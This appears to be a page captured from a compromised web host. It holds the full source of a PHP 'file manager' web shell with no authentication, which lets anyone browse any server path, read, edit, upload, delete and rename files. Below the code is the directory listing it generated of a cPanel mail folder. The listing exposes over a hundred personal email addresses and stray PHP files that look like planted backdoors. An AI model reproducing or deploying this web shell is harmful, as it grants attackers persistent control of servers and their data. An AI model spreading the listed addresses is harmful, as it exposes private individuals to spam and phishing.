PATH:
home
/
sprnacad
/
mail
<?php /* ===================================================== SAFE PHP FILE MANAGER - Anti 0 KB write - Safe edit / upload / delete / rename - No directory delete - No path traversal ===================================================== */ error_reporting(E_ALL); ini_set('display_errors', 1); /* ================= PATH ================= */ $cwd = getcwd(); if (isset($_GET['p'])) { $real = realpath($_GET['p']); if ($real !== false && is_dir($real)) { $cwd = $real; } } /* ================= BREADCRUMB ================= */ function nav(string $dir): string { $parts = explode(DIRECTORY_SEPARATOR, $dir); $path = ''; $out = []; foreach ($parts as $p) { if ($p === '') continue; $path .= DIRECTORY_SEPARATOR . $p; $out[] = '<a href="?p=' . urlencode($path) . '">' . htmlspecialchars($p) . '</a>'; } return implode(' / ', $out); } $msg = ''; /* ================= SAVE FILE (ANTI 0 KB) ================= */ if (isset($_POST['save'], $_POST['file'], $_POST['content'])) { $file = basename($_POST['file']); $target = $cwd . DIRECTORY_SEPARATOR . $file; if (is_file($target) && is_writable($target)) { $tmp = $target . '.tmp_' . uniqid('', true); $bytes = file_put_contents($tmp, $_POST['content'], LOCK_EX); if ($bytes !== false && filesize($tmp) > 0) { rename($tmp, $target); $msg = 'File saved successfully.'; } else { @unlink($tmp); $msg = 'Write failed. File NOT modified.'; } } else { $msg = 'File not writable.'; } } /* ================= UPLOAD ================= */ if (!empty($_FILES['upload']['name'])) { if ($_FILES['upload']['error'] === UPLOAD_ERR_OK) { $name = basename($_FILES['upload']['name']); $dest = $cwd . DIRECTORY_SEPARATOR . $name; if (!file_exists($dest) && move_uploaded_file($_FILES['upload']['tmp_name'], $dest)) { $msg = 'Upload successful.'; } else { $msg = 'Upload failed or file exists.'; } } else { $msg = 'Upload error.'; } } /* ================= DELETE FILE ================= */ if (isset($_POST['delete'], $_POST['file'])) { $file = basename($_POST['file']); $target = $cwd . DIRECTORY_SEPARATOR . $file; if (is_file($target) && is_writable($target)) { unlink($target); $msg = 'File deleted successfully.'; } else { $msg = 'File not deletable.'; } } /* ================= RENAME FILE ================= */ if (isset($_POST['rename'], $_POST['old'], $_POST['new'])) { $old = basename($_POST['old']); $new = basename($_POST['new']); $oldPath = $cwd . DIRECTORY_SEPARATOR . $old; $newPath = $cwd . DIRECTORY_SEPARATOR . $new; if ($new === '') { $msg = 'New filename cannot be empty.'; } elseif (!is_file($oldPath)) { $msg = 'Source file not found.'; } elseif (file_exists($newPath)) { $msg = 'Target filename already exists.'; } elseif (rename($oldPath, $newPath)) { $msg = 'File renamed successfully.'; } else { $msg = 'Rename failed.'; } } ?> <!doctype html> <html> <head> <meta charset="utf-8"> <title>ꦫꦣꦺꦤ꧀ꦄꦤ꧀ꦠꦱꦺꦤ</title> <style> body { background:#111;color:#eee;font-family:Arial;font-size:14px } a { color:#6cf;text-decoration:none } textarea,input { background:#222;color:#eee;border:1px solid #444 } ul { list-style:none;padding-left:0 } li { margin:6px 0 } .msg { color:#9f9;margin:10px 0 } .small { font-size:12px;color:#aaa } </style> </head> <body> <h3>PATH: <?= nav($cwd); ?></h3> <?php if ($msg): ?> <div class="msg"><?= htmlspecialchars($msg); ?></div> <?php endif; ?> <form method="post" enctype="multipart/form-data"> <input type="file" name="upload"> <input type="submit" value="Upload"> </form> <hr> <?php /* ================= EDIT MODE ================= */ if (isset($_GET['e'])) { $file = basename($_GET['e']); $path = $cwd . DIRECTORY_SEPARATOR . $file; if (is_file($path) && is_readable($path)) { $content = htmlspecialchars(file_get_contents($path)); ?> <form method="post"> <textarea name="content" rows="20" cols="100"><?= $content ?></textarea><br> <input type="hidden" name="file" value="<?= htmlspecialchars($file) ?>"> <input type="submit" name="save" value="Save"> </form> <hr> <?php } } /* ================= FILE LIST ================= */ $h = opendir($cwd); echo '<ul>'; while (($i = readdir($h)) !== false) { if ($i === '.') continue; $p = $cwd . DIRECTORY_SEPARATOR . $i; if (is_dir($p)) { echo '<li>[+] <a href="?p=' . urlencode($p) . '">' . htmlspecialchars($i) . '</a></li>'; } else { echo '<li>[-] ' . htmlspecialchars($i) . ' <a href="?e=' . urlencode($i) . '&p=' . urlencode($cwd) . '">[edit]</a> <form method="post" style="display:inline"> <input type="hidden" name="old" value="' . htmlspecialchars($i) . '"> <input type="text" name="new" placeholder="new name" size="12"> <input type="submit" name="rename" value="rename"> </form> <form method="post" style="display:inline" onsubmit="return confirm(\'Delete file ' . htmlspecialchars($i) . '?\')"> <input type="hidden" name="file" value="' . htmlspecialchars($i) . '"> <input type="submit" name="delete" value="delete"> </form> </li>'; } } closedir($h); echo '</ul>'; ?> </body> </html>
[+]
..
[+]
sprnacademy.com
[+]
.Drafts
[+]
.Junk
[+]
.Sent
[+]
.Trash
[+]
cur
[+]
new
[+]
tmp
[+]
.jagbirmba2022@sprnacademy_com
[+]
.admin@sseinstitute_com
[+]
.anshmar22@sprnacademy_com
[+]
.ayushtyagitoc2021@sprnacademy_com
[+]
.dhruverma2022@sprnacademy_com
[+]
.hellotest@sprnacademy_com
[+]
.info@sprnacademy_com
[-] mailbox_format.cpanel
[edit]
[+]
.info@sseinstitute_com
[+]
.kajalmar2022@sseinstitute_com
[+]
.manishamar22@sprnacademy_com
[+]
.nitu@sprnacademy_com
[+]
.passward@sseinstitute_com
[+]
.photos@sprnacademy_com
[+]
.priyaguptamar2022@sprnacademy_com
[+]
.rajverma@sprnacademy_com
[+]
.ritumam@sprnacademy_com
[+]
.sachinmar22@sprnacademy_com
[+]
.sp_pannu@sprnacademy_com
[+]
.tanishmar2022@sseinstitute_com
[+]
.umesh10mar2022@sprnacademy_com
[+]
.umesh@sprnacademy_com
[+]
.vinod@sprnacademy_com
[+]
.vinodranamar22@sseinstitute_com
[+]
.yadavmar22@sprnacademy_com
[+]
.Archive
[+]
.spam
[+]
sseinstitute.com
[+]
.manish2023@sprnacademy_com
[-] dovecot-acl-list
[edit]
[+]
.amittoc2023@sprnacademy_com
[-] dovecot-quota
[edit]
[+]
.kamal@pujavidhi_org_in
[-] dovecot-uidlist
[edit]
[+]
.surjeet2023@ompujavidhi_com
[-] dovecot-uidvalidity
[edit]
[+]
.ritu2023@sprnacademy_com
[+]
.annusaini2023@sprnacademy_com
[+]
siteraja.com
[-] dovecot.index.cache
[edit]
[+]
.ssedata@sprnacademy_com
[-] dovecot.index.log
[edit]
[-] dovecot.index
[edit]
[-] dovecot.list.index.log
[edit]
[+]
.info@siteraja_com
[-] dovecot.mailbox.log
[edit]
[-] maildirsize
[edit]
[+]
glowfee.com
[+]
.help@siteraja_com
[-] subscriptions
[edit]
[-] dovecot-uidvalidity.60d54f49
[edit]
[+]
.mailbox_format.cpanel
[+]
.deepanshu2023@sprnacademy_com
[+]
.rohankumarjha@sprnacademy_com
[-] dovecot.list.index
[edit]
[+]
levitrend.com
[+]
.yogeshmar@sprnacademy_com
[+]
.tushartoc2021@sprnacademy_com
[+]
.kuapujanphoto@sprnacademy_com
[+]
.personal@sprnacademy_com
[+]
.nios@sseinstitute_com
[+]
.donation@sseinstitute_com
[+]
.rakeshkumar@sprnacademy_com
[+]
.anilkumar2022@sprnacademy_com
[+]
.vashu2023@sprnacademy_com
[+]
.pankaj2023@sprnacademy_com
[+]
.dipesh2023@sseinstitute_com
[+]
.priyanshusain@sprnacademy_com
[+]
.nisha2023@sprnacademy_com
[+]
.nanu@sprnacademy_com
[+]
.nikitatoc2023@sprnacademy_com
[+]
.anishtoc2023@sprnacademy_com
[+]
.sahil@sprnacademy_com
[+]
.shikha10@sprnacademy_com
[+]
.pratibha122023@sprnacademy_com
[+]
.shikha@sseinstitute_com
[+]
.shivin2023@sprnacademy_com
[+]
.anil2023@sprnacademy_com
[+]
.sunilmba2022@sprnacademy_com
[+]
.rakeshmba2022@sprnacademy_com
[+]
.nehazoya@sprnacademy_com
[+]
.vikashmba2022@sprnacademy_com
[+]
.priyabasic@sprnacademy_com
[-] about.php
[edit]
[+]
sawariya.org.in
[+]
.rohankumar2023@sawariya_org_in
[+]
.jyotisharma@sprnacademy_com
[+]
.rajinderllb@sprnacademy_com
[+]
.jyotillb2022@sprnacademy_com
[+]
.jatinoct2023@sprnacademy_com
[+]
.poonam2022mdu@sprnacademy_com
[+]
.info@sawariya_org_in
[+]
.midjourney@sprnacademy_com
[+]
pujavidhi.org.in
[+]
ompujavidhi.com
[+]
.deepanshutoc2023@sprnacademy_com
[+]
.pushpatoc2023@ompujavidhi_com
[+]
.bittootoc2023@ompujavidhi_com
[+]
.rahulguptatoc2023@ompujavidhi_com
[+]
.jatintoc2023@ompujavidhi_com
[+]
.ifrahimtoc2023@ompujavidhi_com
[+]
.anjalitoc2023@sprnacademy_com
[+]
.manishaba2023@ompujavidhi_com
[+]
.poojakcba2023@sprnacademy_com
[+]
.rahulbca2022@sprnacademy_com
[+]
.ayushbca2022@sprnacademy_com
[+]
.amitfresh102023@ompujavidhi_com
[+]
.anjalitoc2023@ompujavidhi_com
[+]
.dineshmba2023@sprnacademy_com
[+]
.naveenmba2023@sprnacademy_com
[+]
.uttamsinghmba2023@sprnacademy_com
[+]
.manishbcom2023@sprnacademy_com
[+]
.luckybca2023@sprnacademy_com
[+]
.darsheelraj10fresh@sprnacademy_com
[+]
.gautam12fresh@sprnacademy_com
[+]
.ankush12fresh@sprnacademy_com
[+]
.gautammba@sprnacademy_com
[+]
.rahulguptabcom@sprnacademy_com
[+]
.gaganmsc@sprnacademy_com
[+]
.dhruvverma12@sprnacademy_com
[+]
.piyushtoc10@sprnacademy_com
[+]
.ankittoc102024@sprnacademy_com
[+]
.jagratgahlot10fresh@sprnacademy_com
[+]
.admin@sprnacademy_com
[-] 1.php
[edit]
[+]
.ritu369@sprnacademy_com
[+]
.saksham10toc@sprnacademy_com
[+]
.gauravbba2023@sprnacademy_com
[+]
.alok10toc2024@sprnacademy_com
[+]
.jatinoct2024@sprnacademy_com
[+]
.simran102025@sprnacademy_com
[+]
.simransingh102025@sprnacademy_com
[+]
.pawan10fresh2025@sprnacademy_com
[+]
.sanjana12toc@sprnacademy_com
[+]
.videocon@ompujavidhi_com
[+]
.videocon@achievementacademy_in
[+]
achievementacademy.in
[+]
.tilakverma@sprnacademy_com
[+]
.raghuvirmbahr@sprnacademy_com
[+]
.tanya@sprnacademy_com
[+]
.tanya111@glowfee_com
[+]
.beauty03@glowfee_com
[+]
.laxmi01@levitrend_com
[+]
.nehabca2025@sprnacademy_com
[+]
gadgethall.com
[+]
.jagratgahlot102025@sprnacademy_com
[+]
.simran102025@glowfee_com
[-] 157.php
[edit]
[+]
.parastoc2025@glowfee_com
[+]
.himanshutoc2025@sprnacademy_com
[+]
.anshopen2026@glowfee_com
[+]
.vikashopen2026@glowfee_com
[+]
.vivanopen2026@glowfee_com
[+]
.krishanopen2026@glowfee_com
[+]
.mayankopen2026@glowfee_com
[+]
.montyopen2026@glowfee_com
[+]
.157.php
[+]
.dhruvverma122025@gadgethall_com
[+]
.yashsainitoc2025@sprnacademy_com
[+]
.abhayfresh2026@glowfee_com
[+]
.naziaperweenb_ed2025@sprnacademy_com
[+]
.shikha10toc2026@glowfee_com
[+]
.shaileshkumar2026@sprnacademy_com
[+]
.about.php
[+]
.wp-cron.php
[+]
clothicon.com
[+]
.himanshu2026@sprnacademy_com
[+]
.sanjanatoc2026@sprnacademy_com
[+]
.sameer12toc@sprnacademy_com
[+]
.ankit2026@sprnacademy_com
[+]
.simransingh2026@sprnacademy_com
[+]
.piyush2026@sprnacademy_com
[+]
.lakshay2026@sprnacademy_com
[+]
.alok2026@sprnacademy_com
[+]
.premchand@sprnacademy_com
[+]
.pankaj2026@clothicon_com
[+]
.pankaj2026@sprnacademy_com
[-] wp-blog-header.php
[edit]
[-] wp-cron.php
[edit]
[-] .htaccess
[edit]
[+]
.gunjanbca2025@sprnacademy_com
[+]
.rinkutoc2023@ompujavidhi_com
[+]
.wp-blog-header.php